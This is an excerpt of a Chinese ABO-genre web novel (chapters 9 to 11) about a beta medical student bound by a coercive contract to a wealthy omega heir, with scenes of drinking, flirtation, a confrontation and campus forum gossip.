闻鸢顿了顿,随即像想到什么坏点子似的咧开嘴角,乐呵呵地回了句:“你猜啊!” 周彬:……莫名奇妙。 他努力地从自己的记忆中刨出几个碎片,搭话道:“虽然不记得你的名字了,但我知道你十五天前来过。” “哟,记得这么清楚呢?”闻鸢挑眉,一边说着一边把袋子里的东西规整完毕。 周彬的病很奇怪,有时候他能记住一些无用的细枝末节,有时候却连一件物品的名称也叫不上来。 灰发beta静静地看着她忙出忙进,没有说话。 “嘣”地一声,酒塞被闻鸢拧开,她探出头对客厅里的周彬说道:“酒杯呢?” 老头子有点无辜地耸了耸肩,“前几天喝醉了,不小心打碎了几个。” 闻鸢当即翻了个白眼,吐槽道:“真有你的。” 给他买了五个高脚杯,现在一个不剩。 那怎么办呢?酒都打开了,也不能不喝啊? 没办法,闻鸢只能从橱柜里拿了两个马克杯。 红酒灌到杯口,表面泛起浮沫,配上杯子上的卡通图案,倒像是吃席时招待的美X达。 看到那个绘有可爱老鼠头的马克杯被端到自己面前,周彬一开始是拒绝的。 他嫌弃的目光稍微移开,然后提出了一个大胆又天真的想法,“就不能对瓶吹吗?非得用杯子?” 闻鸢:…… 青筋在额角跳了跳,她不满道:“我也要喝,你考虑下我行不行?” 周彬撇了撇嘴,做出最后的让步,“那我要你手里的杯子。” 闻鸢手上的杯子印着只大眼鸭子,她懒得跟他掰扯,爽快地交换了一下。 酒液流过舌尖,酸涩的苦掺杂一丝丝甜,直直呛入五脏六腑,就像闻鸢操|蛋又抓马的人生。 闻鸢痛苦地皱起眉头,突然觉得自己在花钱买罪受。 她一边抱怨着“难喝死了”,一边大口地喝着杯子里的酒,仿佛这样就可以把她花掉的冤枉钱赚回来。 周彬看着她轻车熟路的样子,哈哈大笑,“我们以前也经常这样一起喝酒聊天吗?” “恰恰相反,你当管家的时候滴酒不沾,而我们一天内说话的次数也屈指可数。” 闻鸢晃了晃杯子,酒液在杯壁溅起一点波澜。 看到周彬疑惑的眼神,闻鸢好心地解释道:“因为你以前真的很讨人厌。” 她发泄似的把杯中的红酒一闷而尽,补充道:“总是逼我干着干那的,还让我签了卖身契。” 她永远忘不了17岁那一年。 当时泽诺因为易感期引发了情|热反应,情况紧急,医生建议找一位beta辅助纾解,这样不会对腺体造成损伤。 闻鸢毫不意外地成为了那个最优解。 她老实、沉稳,是泽诺最依赖最信任的朋友,没有人比她更合适。 周管家找到她,把事情说清楚后并未询问她的意见,只是一味地讲解omega安抚过程中需要注意的事项。 闻鸢垂着头,一字一句地浏览着合同上的内容,等他讲完之后把合同递了回去。 她从来随和,但这次却显得格外固执倔强,“我拒绝。” 周管家常年带笑的脸僵硬了一瞬,语气有些冷硬。 “只要你签字,家主不但承担你大学期间的所有花销,还保证毕业后安排你到奥兰德旗下的企业工作。” “你知道你刚刚拒绝了什么吗?这是多少人梦寐以求的东西!” 她抬头冷静地看了他一眼,一针见血道:“这和出卖灵魂有什么区别?我不想一辈子都和泽诺绑在一起。” 从这份合同的措辞就可以看出来,他们只是把她当做一个予取予求的工具而已。 作为工具,她需要满足泽诺提出的一切要求,需要随时给他提供情绪价值,更需要给予他肉|体上的抚慰 ——即使他们并不是恋人。 可凭什么呢? 闻鸢不是物品,她也有自己的喜怒哀乐,将来也会有自己的伴侣,签了这个合同就等于把自己的下半辈子卖给奥兰德家。 周管家脸色阴沉如水,他气得将合同扔在她脸上,微怒的嗓音夹杂着威胁和恐吓。 他说:“你又有什么呢?现在的你也只有灵魂可以出卖。” 半晌后,他顿了顿,语气倏然变得很轻很轻,同时又带着说不透道不明的悲伤。 “可是,就算要出卖灵魂,也要找个出价最高的人。” 说完后,他转身就走,留闻鸢一个人呆呆地站在原地。 前面的争吵让闻鸢血液翻涌,但最后这句像一盆冰透的凉水,从头到脚,将她的愤怒和不甘全部浇灭了,浇的连火星子都不剩。 半刻后,她拿着合同去见了约顿。 在合同上签完字后,他对闻鸢嘱咐道:“事出紧急,泽诺并不知情。” “不过,”美貌的人夫弯了弯唇角,语气如往常般温柔,“他肯定希望你是自愿陪在他身边的,对吗?” 他将“自愿”咬得很重,闻鸢听不懂都难。 这父子情简直太感人了,如果不需要牺牲她这个家养小精灵就更好了。 这样想着,闻鸢木然地点了点头。 他将笔扔回笔筒,漫不经心地说了句:“注意分寸。” 她被送进了泽诺的房间,两小时后,脸上多了几个咬|痕,肩膀上多了几圈牙印和数不清的抓痕。 泽诺气喘吁吁地伏在她怀里,手指玩着她的发丝,脸上的红|潮尚未褪去。 他将闻鸢拽向自己,二人鼻尖相贴,omega海蓝色的眼睛比妖精还要迷人,“你怎么来了?” 没办法,你爸逼的。 食指轻轻点了点他的羽睫,随后分开他的唇瓣。 闻鸢低下头,将吻未吻之际,突然说了句实话,“我已经将灵魂卖给你了。” 如果泽诺仔细看她,就一定能够察觉到她眼睛中流淌着的、令人心惊的挣扎和痛苦。 可惜在这种暧昧的场景下,他只把这句话当做**的玩笑而已。 他按住闻鸢的后脑勺,迫不及待地想要占有她的一切,她的身体、她的呼吸、她的肌肤,全部都是他的味道,这让泽诺心满意足。 泽诺并不觉得现在二人做的这些事很奇怪,因为在他的认知中,他们二人只是占有和被占有的关系而已。 或者换句话说,他看待世界的方式一向简单粗暴—— 占有或被占有,没有例外,连感情也是如此。 可对于闻鸢来讲,喜欢和爱不是占有。 三观上的不同之处,闻鸢懒得辩解,因为她从不妄想自己能够改变他人。 就像现在,她跟周彬说这些东西,也并不是要埋怨或者质问。 当时也没有更好的选择,不是吗? 往事就像杯子里的最后一滴酒一样,入口之后附着在舌头上,无穷无尽的苦涩萦绕不散。 闻鸢面色如常地将两只马克杯洗好,摆回原处,和周彬告别之后钻进车里。 她慢速开车驶过集市,不经意间瞥见一团紫蔷薇在花店角落安静盛开着。 低调的银灰色跑车在花店门口停留了一瞬,再次启动时,副驾上多了一束精心包装的淡紫色花束。 闻鸢抱着花回到长岛的宅邸,刚一踏入门厅,便听到一阵低低的笑声。 “我的女婿吗?我觉得医生和律师都不错啊!”一位omega贵妇说道。 另一位放下茶杯,抢话道:“何必找医生和律师做女婿?把女儿培养成医生或者律师不就好了?” 约顿略带不满的声音插|进来,“怎么能让孩子去学那么苦那么累的东西?医生和律师,不是花钱就能雇到吗?” 沉寂了一瞬间后,一同喝下午茶的omega们心照不宣地笑起来,纷纷附和道:“说的也是呢!” 站在门口的医学牲闻鸢:…… 她紧了紧手里的花束,包装纸被捏得嘎吱作响,响动引起了omega的注意,他们纷纷扭头朝她那边看去。 闻鸢不慌不乱,对约顿礼貌颔首问好,“约顿叔叔下午好,我给泽诺带了花。” 他抿了口茶,柔和的笑意荡开,“他在房间,上楼去找他吧。” 等她的背影消失在楼梯口,约顿的朋友们好奇地问他:“这就是寄养在你家的那个孩子吗?” 约顿微笑点头,脸上的表情滴水不漏,“是的,这孩子可比泽诺省心多了。” omega们纷纷赞扬奥兰德一家的善人善行,一边羡慕地感叹道:“那孩子运气可真好。” 闻鸢站在泽诺门前,脑海中回荡着这句话,没忍住笑了出来,肩膀上下抖动着。 原来人气到极点是真的会笑出声。 第9章 第 9 章 包装纸咔嚓咔嚓的响声回荡在长长的走廊里,配上闻鸢的轻笑,多少有些瘆人。 泽诺在里面听到动静,打开门便看到闻鸢抱着一束紫蔷薇,脸上表情僵硬得奇怪。 “这是?”泽诺歪头,盯着那束花。 闻鸢敛下神色,把花捧到他面前,“花店偶然看到的,觉得你会喜欢,就买下来喽。” “俗套。”嘴上很嫌弃,但微扬的唇角却昭示着好心情。 他把闻鸢拉进房间,然后不知道从什么地方搬出个花瓶。 包装袋被剪开,他一支支剪去多余的茎叶,修去枝干上的倒刺,掐去起皱的花瓣。 闻鸢给他打下手,递递剪刀,扔扔垃圾什么的。 见他心情不错,她试探地问了一句,“生日宴一定要跳开场舞吗?” 修长润泽的手指顿了顿,他瞥了闻鸢一眼,她立马换了个措辞,“我的意思是,开场舞一定要和我跳吗?” 深邃的蓝色眼珠在闻鸢身上转了一圈,隐隐显露出点攻击性,“不想跟我跳?” “没有!我只是怕我舞技太烂拖你后腿,毕竟到时候你的朋友都会到场吧。” 闻鸢有苦说不出,只能挑他最薄弱的地方下手。 泽诺将最后一朵花扔|进花瓶,用手点了点闻鸢的肩膀,颇有些恨铁不成钢的意味。 “所以你才要争气,别给我丢脸!” 还鞭策上她了?!! 现在再讲道理应该是不中用了,看来只能用压箱底的招数了。 泽诺刚把花搬到茶几上,转过头来却冷不丁地被身边的人扑倒在沙发上。 细碎而温存的吻落在眉心、眼皮、鼻尖,她吻遍了脸上所有的地方,但始终没有碰他的唇。 每吻一下,闻鸢都哑着嗓子说,“不跳舞,好不好?” 她像只小猫一样在他颈边蹭着,尾音带着点撒娇的意味。 闻鸢平时很少对他撒娇。 泽诺恍了恍,意识挣扎了一下,没过多久就发现腰软得不像话。 他咬住下唇,推了推她,声音带着最后一丝倔强,“闻鸢,你给我起来!” 见目的没达成,她假装没听见,继续流连在他脖颈间。 吻落在锁骨上,还附带一个惩罚意味的啃|咬。 他下意识地想去吻她的唇,却被她灵活避开了。 扑了个空,他有些恼怒又有点失落,而女人作乱的吻还在继续,声音显得含混。 “不如这样,各让一步,取消开场舞,生日当晚,我随你处置。” 她缓缓靠近泽诺的耳朵,潮湿的气息带着极致的魅|惑,“你不是一直想把我绑起来吗?满足你。” 听到最后一句话,泽诺的呼吸猛地急促起来,喉结微微滑动,他看着闻鸢的笑眼,忍不住咽了一口口水,“不许反悔!” 闻鸢的手指划过他的脖颈,感受到手下的战|栗,她微微笑了一下,伏下去迎住他的唇。 急促的呼吸间,泽诺有些不甘心地咬了咬她的唇,含糊道:“今天得快点,下面还有客人。” 像是想到什么,闻鸢忽然停了动作,“哦,有件事我想问你一下?‘掠影’的车钥匙,你还记得在哪儿吗?” 泽诺难受得踹了她一脚,烦躁道:“在我衣帽间的大柜子里。” 闻鸢捏住纤细的脚踝摩挲了一下,手指顺势而上。 “这样啊,过几天借我开开。” 泽诺绷直脚背,热|潮过后咂摸出一丝不对劲,眯着眼睛问道:“你要去干什么?” 闻鸢将他抱起来,放在腿上,吻了吻他的唇,言简意赅,“去炫富。” 泽诺:“……好吧,那破车反正我也不爱开,给你了。” 看,完美的借口往往需要最朴实无华的理由。 6月末正是华大的毕业季,按照惯例,后辈需要给师兄师姐举办欢送会。 商量以后,他们决定一切从简,去中心公园看露天电影,顺便看看星星、聊聊天。 闻鸢忙得要死,但她真的需要从泽诺身边离开一下,喘口气。 牛马好歹也要吃草补充能量。 当时展映的是一部经典的校园爱情片,讲的是一桩长达七年的暗恋故事。 某些桥段因为太过经典,被反复用于其他影视剧中,所以到今天为止,再经典的故事似乎也有些落俗。 “当时,我不明就里地翻过那张卡片,上面是我的画像,那是他亲手画的。” “男生和女生之间的故事总是重蹈覆辙。”* 闻鸢听着影片开头那段独白,眼神放空,缓缓打了个哈欠。 “师姐,该你了!”活泼的嗓音传到她耳中,把她飘在半空的灵魂拽了回来。 电影太无聊了,于是他们开始玩游戏,转动中间的酒瓶,瓶口对着谁谁就要接受惩罚。 闻鸢用手轻轻拨了一下,蓝色的啤酒瓶缓慢地转起来,半刻后,瓶口稳稳停在她面前。 唐钰哈哈大笑起来,直言不讳道:“师姐你真的好倒霉哦!” 真是恶语伤人六月寒。 她的倒霉已经到了人尽皆知的地步了吗? 闻鸢脆弱的小心脏要被这句话射|穿了。 唐钰兴致勃勃地继续问道:“真心话还是大冒险呢?” “真心话。”闻鸢拿起水杯抿了一口水,面上波澜不惊,心里却忐忑不安。 唐钰的脾气她是知道的,表面听话乖乖女,实际上就是一肚子坏水的小屁孩。 果不其然,她露出了一个八卦的笑容,“其实这个问题我很早就想问了,师姐的性取向是什么?” 这个问题引起了大家的广泛关注,几位不参加游戏认真看电影的同门都悄悄竖起了耳朵。 沈照坐在她旁边,假装不经意地瞥了她一眼,随后紧张地抿了抿唇。 闻鸢战术喝水,沉思了一下后非常坚定地说了句:“男beta。” alpha和omega都是一群受信息素控制的危险分子,闻鸢只希望未来的伴侣是个情绪稳定的正常人。 但这个答案似乎和大家预想中的不太一样,不少人都惊讶地盯着她。 唐钰更是夸张地“啊”了一声,抢白道:“我以为你喜欢男omega!” 闻鸢疑惑地皱了皱眉,不知道她为什么会得出这样的结论,“想什么呢?男O和女B甚至不能自然受|精。” AO之间具有天然的吸引力,耀星联邦的BO恋少之又少,仅有的几例也结束得轰轰烈烈。 唐钰一幅嗑错cp的表情,她想说些什么,但碍于情面又不好表达,只能咕哝道:“不是还有人工受|精吗?我不管,青梅竹马BO恋就是真的!” 闻鸢没听明白,“你说什么?” 这时,沈照沉默地靠过来,长手一伸,把她手里的杯子拿走了。 墨色的眸子安静地落在她身上,显得格外认真,“我给师姐加点水。” “哦,多谢。” “不客气。” 他弯了弯眉眼,向来冷淡沉静的面庞突然变得鲜活起来。 闻鸢眨了眨眼,莫名觉得沈照今天心情好得有点过头了。 小插曲过后,游戏还在继续,人群中不时传来一阵哄笑。 闻鸢看着电影,还得分心回一下泽诺的消息。 【大少爷】礼服主色调就定紫色了。 【大少爷】你看这三条裙子哪条好看?[图片][图片][图片] 闻鸢认真点开看了一下,一番比较之后选了一条中规中矩的缎面曳地长裙。 对方沉默了一下,点评如往常般犀利,小嘴跟淬了毒的刀子一样。 【大少爷】你确定?这裙子穿上后像个茄子,而且跟我的西装也不搭。 【大少爷】别管了,你就穿第二条吧。 闻鸢:……0人在管你,0人管得了你,既然早就看好了第二条又何必来问?多此一举。 手指戳着屏幕,划出的残影带着些微怒气,打出来的字却依旧温驯得近乎谄媚。 【闻鸢】好呀好呀,第二条也很好看呢! 闻鸢有时候都受够了自己这种莫名其妙的讨好型人格。 她在心里小发雷霆,却猝然听到唐钰尖叫起来,“沈照,不许耍赖!” 转头看去,却发现沈照拿着一根百奇,在众人的起哄声中寻找着什么,眼神有些迷茫。 视线下移,闻鸢看见那个啤酒瓶的瓶口直直地对着沈照,然后她苦笑了一下。 怎么说呢,如果她的运气是师门倒数第一,那沈照一定排倒数第二。 唐钰对他挤了挤眼睛,“快选一个,和她一起吃完这根百奇。” 看得出来,沈照很不擅长应付这种场面,面颊微微发红,手和脚都不知道往哪里放。 闻鸢抬头,恰好和他目光相对,面容冷淡的青年露出一丝求救的目光,墨色的瞳仁掺杂着显而易见的慌乱。 她没有多话,利落地拿过他手里的饼干条含在嘴里。 周围的起哄声一阵更比一阵大,最后在沈照俯身衔住另一端的时候达到顶峰。 杏仁味的饼干条入口即化,甚至不需要过多咀嚼,闻鸢心无旁骛地一点点吃着,二人的距离逐渐接近。 闻鸢能感受到沈照在极力控制着自己的气息,但清香木的信息素还是不受控地往外溢了一点点。 beta的信息素向来很浅淡,和沈照共处了两年,闻鸢鲜少闻到他的信息素。 温和的清香木带着一点点甜,和他冷淡寡言的性格形成鲜明反差,闻鸢愣了一下,却发现二人目前已经到了一个比较尴尬的阶段。 饼干还有最后一小段,再靠近的话,他们两个就要亲在一起了。 沈照察觉到了她的犹豫,眸光沉了沉,随即伸出一截舌头,轻轻一卷。 闻鸢惊了惊,松开牙齿,那截被她吃了一半的饼干条就被卷进了沈照口中。 他意犹未尽地舔了舔嘴唇,目不转睛地盯着她,沉黑的眸子深处燃起了一团暴烈的火,清香木烧成灰烬,喷洒在颈边,火焰狂啸着、惊叫着要挣脱束缚。 闻鸢觉得自己脸上有点烫,但她不知道为什么。 电影到了高|潮,此时的男主角和女主角经过千难万阻,终于表白心意,幸福地拥吻在一起。 背景音一度有些刺激,须臾,闻鸢看到沈照清俊的脸逐渐靠拢,他薄唇微张,唇色红得妖艳。 他开口,但这次并未像往常一样叫她师姐,而是—— “闻鸢……” 他想说些什么,话头却被电影里男主气喘吁吁的声音止住了。 男人迫切而颤抖的声音在闻鸢耳边响起。“好喜欢,好喜欢你,喜欢到让我觉得有些心痛。” 闻鸢眸光一动,下意识地拉开距离,可对面的男人却伸手按住她的肩膀,叫她动弹不得。 脸颊处传来冰凉的触感,沈照的指腹从脸颊一直向下,随后有意无意地碰到了她的唇角。 心脏慌乱地跳起来,黑沉的眸子近在咫尺,清香木的气息在不知不觉间蔓延,最后覆盖了她全身。 闻鸢僵直着身体,一把抓住了沈照的手腕,语气带着一点试探,“沈师弟?” 那个眼神,是她看错了吗? 指腹在她脸上轻轻一刮,沈照敛下眸中浓厚的占有欲,再次抬眼时便又是熟悉的目光,像水一样温和且平淡。 “唇角有饼干屑。” 闻鸢顿了顿,不动声色地挪开视线,眼睛盯着电影大屏,没再说话。 他们二人的小插曲并未引起其他人的注意。 暧昧的氛围消失不见,二人的沉寂与不远处的吵闹形成了鲜明对比。 终于熬到结束,唐钰无聊地翻了个白眼,吐槽道:“真搞不懂,男主没长嘴吗?心里喜欢得不行,关键时候居然怂了。” “或许就是因为太喜欢,所以才不敢把这份心意宣之于口。”沈照罕见评价道。 “他并没有上帝视角,在无法确定对方心意之前,每一次试探就像一个绝望的赌徒压上自己的全部身家,只为换来一点点希望。” 这番言论引起了唐钰和闻鸢的侧目,前者微微抿唇,眼里满是八卦和好奇。 唐钰朝沈照挤了挤眼睛,调侃道:“这么感同身受,难不成你也在搞暗恋?说!是谁?” 沈照面色平静,丝毫没有被戳破的慌乱,他耸耸肩,扯出一个令人信服的谎。 “高中时期懵懂的情感罢了,这种感受你应该也有过吧?” 他轻飘飘地把这个皮球踢给唐钰,后者支吾了几声,倒没有继续追问。 不远处响起一声尖锐的爆鸣,伴随着众人惊叫,绚烂的烟花在一瞬间点亮了夜空。 轻快的欢笑随着蝉鸣,一点点渗进闻鸢心里,稍微驱散了她内心积攒已久的疲惫和痛苦。 “又是那样的表情。”沈照低沉而温柔的声音在身后响起。 “什么?”她转头,二人眼神相接,焰火将他的侧脸照得忽明忽暗。 他纯黑的瞳仁带着温和的笑意,很安静也很温暖。 “很久之前就注意到了,有时候师姐会露出一种类似忧伤的表情。” 闻鸢想否认,但沈照就那样看着她,一股奇怪的无力感席卷心头。 平复许久之后,她叹了一口气,“只是有时候会觉得,自己那么渺小,即使拼尽全力,也没办法改变既定的轨迹。” 卖身契是签了的,钱是还不上的,祖宗是一定要伺候的,有时候她就觉得自己快要疯掉了。 她故作洒脱地耸了耸肩,“常言道,命运半点不由人,大概就是这样的感觉。” 沈照笑了笑,黑眸轻轻转了转,“这句话我母亲也提起过,不过她更喜欢后半句。” “后半句?”闻鸢拧眉,面上露出疑惑的神色。 沈照轻轻点头,目光不曾移动半分,顿了一会儿缓缓启唇:“后一句是——” “不信常言,偏信方寸。” 这句话在闻鸢耳朵里炸响,随后她听到沈照平静和缓的声音响在人群的喧嚣中。 “接下来的日子,一起去迎接新的风雪吧。” 烟火结束之后众人各回各家,闻鸢将车开进车库,缓步走入那座高大的别墅时,心情却并不似之前压抑。 大概是沈照的话起了一点作用,稍稍纾解了她心里的负面情绪。 门厅亮着一盏小灯,艾薇和约顿似乎早就上楼休息了,不过泽诺却一反常态地待在阁楼里,侍女说他好像在找什么东西。 泽诺静悄悄,必定在作妖。 *《情书》 小沈,一款闷骚暗爽男。 作者有话说 显示所有文的作话 第9章 第 9 章 第10章 第 10 章 闻鸢捏了捏眉心,对侍女说道:“知道了,我上去看看,你先休息吧,辛苦。” 缓步上楼,闻鸢伸手在门板上敲了敲,随后推开虚掩的木门。 坐在杂物堆里面的omega突然抬头,见到闻鸢后露出一个灿烂的笑容。 “待在这里做什么呢?”闻鸢将一条羊毛毯子披在泽诺身上,询问道。 泽诺怕冷,阁楼并没有安装恒温系统,因此闻鸢在上楼之前还去取了一条保暖的毯子。 大少爷扬起下颌,任闻鸢擦去他鼻子上的灰尘,神情带着一点雀跃和欣喜。 “看我找到了什么?” 他把一本画册举到闻鸢面前,指着上面一副凌乱的涂鸦说道:“这是你小时候给我的和好卡。” 小时候泽诺脾气骄纵,一言不合就赌气。 闻鸢不知道具体原因,所以就用这种笨拙的方式求和。 不管做错事的是哪一方,最先道歉的人一定是闻鸢,从小到大都是如此。 闻鸢盯着那几个歪歪扭扭的字看了会,轻笑道:“没想到你还保存着这种老古董。” 那些和好卡被整齐地粘在昂贵的画册里,卡片幼稚的涂鸦和画册精致的做工格格不入。 往后翻几页,便能看到闻鸢小时候的画作,泽诺看得津津有味,不时还调侃一下她拙劣的画技。 闻鸢失笑,没有反驳,只是点了点泽诺的抑制颈环,认真检查上面的数值。 泽诺在她怀里找了个舒服的姿势靠着,手指轻点画册边缘,微勾的唇角昭示着他的好心情。 “你还记得我们第一次见面的情形吗?” 泽诺偏头,唇瓣轻轻擦过闻鸢下颌。 闻鸢手指微顿,难得认真地回忆了一下,“当时你好像玩游戏输了,在气头上,跟你搭话也不理人。” 谁懂,大少爷不是生气就是在生气的路上,闻鸢必须捧着他哄着他,否则没有一天安生日子。 听到这话,泽诺用肘轻轻撞了撞闻鸢,似乎对她的回忆不太满意。 “什么嘛,我小时候才不是那种输不起的小气鬼!” 恰恰相反,他不仅是超绝小气鬼,还是那种把不满情绪写在脸上且忍耐力为-100的小辣椒。 见闻鸢没答话,泽诺又自顾自地说起来,“总之当时我心情的确不太好,但你为了逗我开心,就跑去后院摘来一大把玫瑰给我。” 他拉起闻鸢的手,仔细摩挲她白嫩的指腹,眼底的心疼遮掩不住。 “当时你被刺戳得满手是血,但却笑着把花递到我面前。” 他记得黑发女孩蹲下身来,杏眼偷偷地打量着他的神色,软糯的声音里带点讨好: “我把花摘来了,泽诺不要不开心了好不好?” 花茎上还染着她的血,鲜红欲滴,这是泽诺第一次认识到,有人会为博他一笑而不惜伤害自己。 “总之,”泽诺将自己的手嵌入闻鸢的指缝,十指交握,声音轻柔,像是某种剖白。 “从那个时候起,我就知道你是我生命中最特别的存在。” 他抬头吻了吻闻鸢的脸颊,海蓝色的眸子深邃安静,蒙着一层动人的水光,我见犹怜。 玫瑰味的信息素缓缓释出,带着暧昧的讯号,一路攀附,在闻鸢的肌肤上留下独属于他的印记。 闻鸢垂下眼帘,四平八稳地坐着,岔开话题道:“数值基本平稳,看来你的易感期已经结束了。” 泽诺轻笑一声,解开抑制颈环,随手扔在地上,砸出一声脆响。 他立起身子,手搭在闻鸢后颈上,轻轻揉捏着,“好想吻你。” 什么玩意儿? 闻鸢瞪大眼睛,还没反应过来的时候,他便强硬地压下身子,将唇贴了上来。 她双手撑地,被迫扬起头接受这个急切的吻。他的唇舌和他本人的性格一样暴躁、霸道,几乎不给闻鸢喘息的余地。 口腔被全部填满,舌尖的酥|麻一路传到舌根,激烈而急切的吻在闻鸢偏头的时候被迫中止。 泽诺捏住她的手腕,轻轻摩挲了一下,“晚上喝酒了?” 思绪短路了一瞬,闻鸢愣愣地点了点头,泽诺笑了一下,指腹描摹着湿润的唇瓣,“刚刚吓到你了?” 闻鸢摇了摇头,“只是有些突然,完全没有准备。” “你的易感期已经结束,应该不需要辅助纾解了。” 少爷,你不讲武德。 泽诺偏头,海蓝色的眼睛里带着点诱哄,“令人感到愉悦和舒服的事情,为什么不继续下去呢?” 潮湿的吻落在闻鸢眼上,魅惑黏腻的声音响起,“继续好不好?” 不好。她不想加班。 “我有些累了,泽诺。”她抵住泽诺的肩膀,语气有些僵硬。 她抗拒的姿态并没有效果,反而让泽诺愈发变本加厉。 炽热的吻落在颈边,舌尖轻轻舔|舐着闻鸢脆弱细长的脖颈,丝毫没有停下来的意思。 脖颈被他舔|弄得又湿又痒,闻鸢仰着头,脑袋里疯狂想着脱身话术。 热切的吻落在锁骨上,闻鸢脑中警铃大作,不得已祭出终极大招,“你说我是特别的存在,那是不是应该给我个名分?” 此话一出,一切像是突然按下了暂停键。 泽诺一顿,停下动作,然后不动声色地挪开视线。 典型的回避反应。 “回答我,泽诺。” 闻鸢揽住泽诺的腰,眼神咄咄逼人,让他避无可避。 强硬的语气让泽诺蹙了蹙眉,心中的思绪纠结在一起,让他更加烦躁不安。 没错,他是很喜欢闻鸢,虽然这一点他曾羞于承认,但感情并不可控,而他也并不想克制这份情感。 但心底里一直有个声音告诉他,他和闻鸢之间隔着某种东西,坚不可摧,不可逾越。 她近乎质问的语气让他感到恼怒,他压下眉眼,海蓝色的眸子显得不近人情。 “你以为你在跟谁说话?” 哦豁,也是跟她摆上谱了。 好好好,大少爷不装了是吧? 闻鸢扶额低笑两声,再次抬头,眸子里的嘲讽更甚从前,“我这样卑贱的人,的确配不上你。” 她话里话外夹枪带棒,却字字珠玑。 泽诺狠狠瞪了她一眼,张嘴想要辩解什么,愚蠢而空荡的脑袋转了一圈,却找不到任何辩驳的说辞。 这种未战先败的沮丧无疑让他更加愤怒。 手上的力度逐渐收紧,闻鸢的手腕被他捏出一圈红痕,她疼得直皱眉头,但仍倔强地抬着脸和他对峙。 海蓝色的眸子底下涌动着晦涩难明的情绪,冰冷的视线轻轻掠过,最后停在她的眼上。 那双熟悉的杏眼盈着一层水光,眼中不见笑意,眼尾下沉,细长的睫毛在眼睑下方投出一片沉默的阴影。 那种深不见底的沉默,泽诺并不陌生。 有时候他觉得,闻鸢的心是用粉红色的蜜糖做成的,但如果掰开仔细看,就会发现里面的填充物只有无尽的沉默而已。 不知什么缘故,泽诺的心脏剧烈地刺痛了一下,他失控地甩开她的手,“砰”地一下砸门而去。 阁楼再次恢复寂静,闻鸢累得瘫倒在地,她将手臂覆在眼上,缓缓平复心底骤然涌出的暴戾情绪。 后面那几句话不应该说的,但当时情绪已经失控了,她也管不了那么多。 不得不承认,纵然闻鸢心理素质强悍如斯,对少爷居高临下的语气适应良好,但在听到“你以为你在跟谁说话?”的时候,她还是稍微有些破防了。 明明身处现代社会,却总能体验到活在封建时代的惊悚感。 亏她还觉得今天的泽诺顺眼了不少,大概全是因为加上了童年滤镜的缘故。 不过也多谢他的提醒,闻鸢才会放弃“把少爷当做朋友”这样的幻想。 手指碰到那本遗落的画册,闻鸢垂眼,盯着画中手拉手的两个小孩,眸光晦暗不明。 在上流圈子里,最纯真的感情,往往是种奢侈品。 被玫瑰花刺伤的手,无数张道歉的卡片,被伤害后的不计前嫌,这种献祭自身温暖他人的扭曲情感,似乎正是他所渴望的。 因为足够纯粹,足够狂热,足够稀缺。 “啪”地一声,闻鸢面无表情地合上画册,细小的灰尘扬起,那本金边红底的画册被她放回原处。 她在阁楼站了很久,霜色的月光洒在她脸上,冷得几乎有些刺痛。 半晌后,她呼出一口气,温热的气体附在玻璃上,一瞬间又散去,就像她内心滋生的乖戾情绪,经过理智的过滤后荡然无存。 算了,干嘛怎么累呢?不如回去睡个觉,等他消气后一切都会回到正轨。 秉持着“睡一觉明天就会好”的理念,她回卧室后倒头就睡,一觉睡到日上三竿。 手机不断传来新消息的提示音,闻鸢半睁开眼睛,打开绿泡泡就看到方鸣玉发来了不少消息。 【方鸣玉】今晚七点,不见不散。 后附一个定位。 【方鸣玉】南山公路的地况你熟悉吗? 【方鸣玉】怎么不回我?反悔了? 【方鸣玉】(1分钟前)我告诉你,你要是敢诓小爷,就算跑到天涯海角我也不会放过你!!! 最后那条气急败坏又略显中二的消息貌似是千亿太子爷放的狠话,但糟糕的语言组织能力不支持更高级的语句表达。 所以整体风格像是肥皂剧里那种智商不高但专坑男女主的反派。 闻鸢心累,冷着脸打字,周身气压低得可怕,手机上的消息却回得滴水不漏。 【闻鸢】方少抱歉,刚刚在赶论文,回得晚了些。今晚一定按时赴约。 (猫猫探头.jpg) 消息刚发出去,聊天框显示“对方正在输入”,可是闻鸢等了半天,仍不见新消息弹出。 [黄心] 作者有话说 显示所有文的作话 第10章 第 10 章 第11章 第 11 章 已读不回,太子爷搞什么幺蛾子?不会真生气了吧? 她用手指划拉着屏幕,数秒间又把简短的几条消息过了一遍,但还是毫无头绪。 没等到回复,闻鸢长指一点,直接退出了聊天界面,将眼不见心不烦的原则贯彻到底。 手机界面丝滑地转到校园论坛,闻鸢浏览了一会儿,却肉眼可见地烦躁起来。 起因是泽诺在朋友圈发了一条矫情伤感文案,被有心人转到校园论坛后瞬间冲上热门。 一时间,粉丝、路人、对家以及一些吃瓜的乐子人纷纷发挥想象,暗自揣度大少爷的情感状态。 【哦莫,大少爷被甩了?】 【不会是女方发现他除了有钱一无是处吧?(狗头)】 【散了散了,别瞎猜了,等正主出来说话吧。】 【指路正主账号@鸢大头(黑化版)】 【???等等我好像认识这个人,是生命学院的吗?】 【鸢姐和泽诺是很多年的好朋友了,别造谣,黑子退散!】 【你是指那种亲亲抱抱举高高的好朋友吗?】 【嫂子竟在我身边?】 针对闻鸢的恶评以指数级的速度增长,吓得她直接注销了自己的论坛账号。 冷静下来之后,她咂摸出一丝不对劲。泽诺的朋友圈很私密,只有身边的几位“挚友”有权限查看。 谁会把这条信息发到论坛,又故意将火烧到她身上呢? 点开帖子,闻鸢发现发帖人叫“lulu”,头像是只熟悉的粉色守宫。 她眯了眯眼睛,心里似乎有了答案。 为了验证她的猜想,她点开“lulu”的账号主页,在众多炫富帖子中找到了一枚标志性的巨大粉钻。 那枚超过100克拉的粉钻估价超过3亿星币,联邦的地产大亨眼睛都不眨地抬价,并以6.75亿的天价拍下,送给儿子当做生日礼物。 要问闻鸢这个穷光蛋怎么有空琢磨这些,不是因为她拼好饭吃多了闲得没事干,而是有人就喜欢拿着大钻戒到处显摆,生怕别人不知道自家daddy到底多有钱。 再次回想泽诺对于陆寻的评价,闻鸢只能说十分中肯,但素质仍待降低。 那小子简直是一只高配版的草履虫,为数不多的智商都拿去换了那张脸,这样才能有点人样。 这波惹火烧身,也算是城门失火殃及池鱼。 陆寻和泽诺互为敌蜜,后者要是摔倒了,陆寻不会放过踩他一脚的千载良机,而闻鸢作为书童也只能跟着遭殃。 不过好在互联网没有记忆,冷处理几个月后,一切都会重回正轨。 虽然但是,郁闷的心情却没有得到缓解。 她开着价值四亿的“掠影”疾速驶过金桥,冷白的碎月闪在江面上,与霓虹灯炽烈的虚影形成鲜明对比。 